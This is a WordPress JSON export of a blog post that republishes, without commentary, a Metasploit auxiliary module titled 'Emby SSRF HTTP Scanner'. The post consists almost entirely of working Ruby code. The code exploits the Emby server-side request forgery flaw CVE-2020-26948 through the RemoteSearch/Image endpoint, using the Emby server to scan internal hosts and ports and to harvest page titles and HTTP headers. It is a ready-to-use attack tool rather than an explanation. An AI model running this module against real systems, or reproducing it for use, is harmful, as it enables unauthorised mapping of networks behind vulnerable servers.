{"id":59349,"date":"2024-09-01T19:20:24","date_gmt":"2024-09-01T16:20:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181072\/emby_ssrf_scanner.rb.txt"},"modified":"2024-09-01T19:20:24","modified_gmt":"2024-09-01T16:20:24","slug":"emby-ssrf-http-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/emby-ssrf-http-scanner\/","title":{"rendered":"Emby SSRF HTTP Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Emby SSRF HTTP Scanner&#8217;,<br \/>&#8216;Description&#8217; =&gt; &#8216;Generates a `GET` request to the provided web servers and executes an SSRF against<br \/>the targeted EMBY server. Returns the server header, HTML title attribute and<br \/>location header (if set). This is useful for rapidly identifying web applications<br \/>on the internal network using the Emby SSRF vulnerability (CVE-2020-26948).&#8217;,<br \/>&#8216;Author&#8217; =&gt; &#8216;Btnz&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Disclosure Date&#8217; =&gt; &#8216;2020-10-01&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; [],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;RelatedModules&#8217; =&gt; [&#8216;auxiliary\/scanner\/http\/emby_version_ssrf&#8217;]},<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2020-26948&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/btnz-k\/emby_ssrf&#8217;]])<\/p>\n<p>deregister_options(&#8216;VHOST&#8217;, &#8216;RPORT&#8217;, &#8216;SNAPLEN&#8217;, &#8216;SSL&#8217;)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [false, &#8216;The URI of the Emby Server&#8217;, &#8216;\/&#8217;]),<br \/>OptBool.new(&#8216;STORE_NOTES&#8217;, [true, &#8216;Store the information in notes.&#8217;, true]),<br \/>OptBool.new(&#8216;SHOW_TITLES&#8217;, [true, &#8216;Show the titles on the console as they are grabbed&#8217;, true]),<br \/>OptString.new(&#8216;EMBY_SERVER&#8217;, [true, &#8216;Emby Web UI IP to use&#8217;, &#8221;]),<br \/>OptInt.new(&#8216;EMBY_PORT&#8217;, [true, &#8216;Web UI port for Emby Server&#8217;, &#8216;8096&#8217;]),<br \/>OptString.new(&#8216;PORTS&#8217;, [true, &#8216;Ports to scan&#8217;, &#8216;80,8080,8081,8888&#8217;])<br \/>])<br \/>end<\/p>\n<p>def run_host(target_host)<br \/># Do some checking to ensure data is submitted<br \/># Also converts ports string to list<br \/>dports = Rex::Socket.portspec_crack(datastore[&#8216;PORTS&#8217;])<br \/>raise Msf::OptionValidateError, [&#8216;PORTS&#8217;] if dports.empty?<\/p>\n<p># loop through the ports<br \/>dports.each do |p|<br \/>vprint_status(&#8220;Attempting SSRF with target #{target_host}:#{p}&#8221;)<br \/>uri = &#8220;\/Items\/RemoteSearch\/Image?ProviderName=TheMovieDB&amp;ImageURL=http:\/\/#{target_host}:#{p}&#8221;<br \/># not using send_request_cgi due to difference between RHOSTS and EMBY_SERVER<br \/>res = Net::HTTP.get_response(datastore[&#8216;EMBY_SERVER&#8217;], uri, datastore[&#8216;EMBY_PORT&#8217;])<\/p>\n<p># Check for Response<br \/>if res.nil?<br \/>vprint_error(&#8220;http:\/\/#{target_host}:#{p} &#8211; No response&#8221;)<br \/>next<br \/>end<\/p>\n<p># Retrieve the headers to capture the Location and Server header<br \/>server_header = res[&#8216;server&#8217;]location_header = res[&#8216;location&#8217;]\n<p># Check to see if the captured headers are populated<br \/>if server_header.nil? &amp;&amp; location_header.nil?<br \/>vprint_error(&#8220;#{target_host}:#{p} No HTTP headers&#8221;)<br \/>end<\/p>\n<p># If the body is blank, just stop now as there is no chance of a title<br \/>vprint_error(&#8220;#{target_host}:#{p} No webpage body&#8221;) if res.body.nil?<\/p>\n<p># Very basic, just match the first title tag we come to. If the match fails,<br \/># there is no chance that we will have a title<br \/>rx = %r{&lt;title&gt;[\\n\\t\\s]*(?&lt;title&gt;.+?)[\\s\\n\\t]*&lt;\/title&gt;}im.match(res.body.to_s)<br \/>unless rx<br \/>vprint_error(&#8220;#{target_host}:#{p} No webpage title&#8221;)<br \/>next<br \/>end<\/p>\n<p># Last bit of logic to capture the title<br \/>rx[:title].strip!<br \/>if rx[:title].empty?<br \/>vprint_error(&#8220;#{target_host}:#{p} No webpage title&#8221;)<br \/>next<br \/>end<\/p>\n<p>rx_title = Rex::Text.html_decode(rx[:title])<br \/>if datastore[&#8216;SHOW_TITLES&#8217;]print_good(&#8220;#{target_host}:#{p} Title: #{rx_title}&#8221;)<br \/>print_good(&#8220;#{target_host}:#{p} HTTP Code: #{res.code}&#8221;)<br \/>print_good(&#8220;#{target_host}:#{p} Location Header: #{location_header}&#8221;)<br \/>print_good(&#8220;#{target_host}:#{p} Server Header: #{server_header}&#8221;)<br \/>end<br \/>if datastore[&#8216;STORE_NOTES&#8217;]notedata = { code: res.code, port: p, server: server_header, title: rx_title, redirect: location_header }<br \/>report_note(host: target_host, port: p, type: &#8216;http.title&#8217;, data: notedata, update: :unique_data)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Emby SSRF HTTP Scanner&#8217;,&#8216;Description&#8217; =&gt; &#8216;Generates a `GET` request to the provided web servers and executes an SSRF againstthe targeted EMBY server. Returns the server header, HTML title attribute andlocation header (if set). This is useful &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59349","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59349","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59349"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59349\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59349"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59349"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59349"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}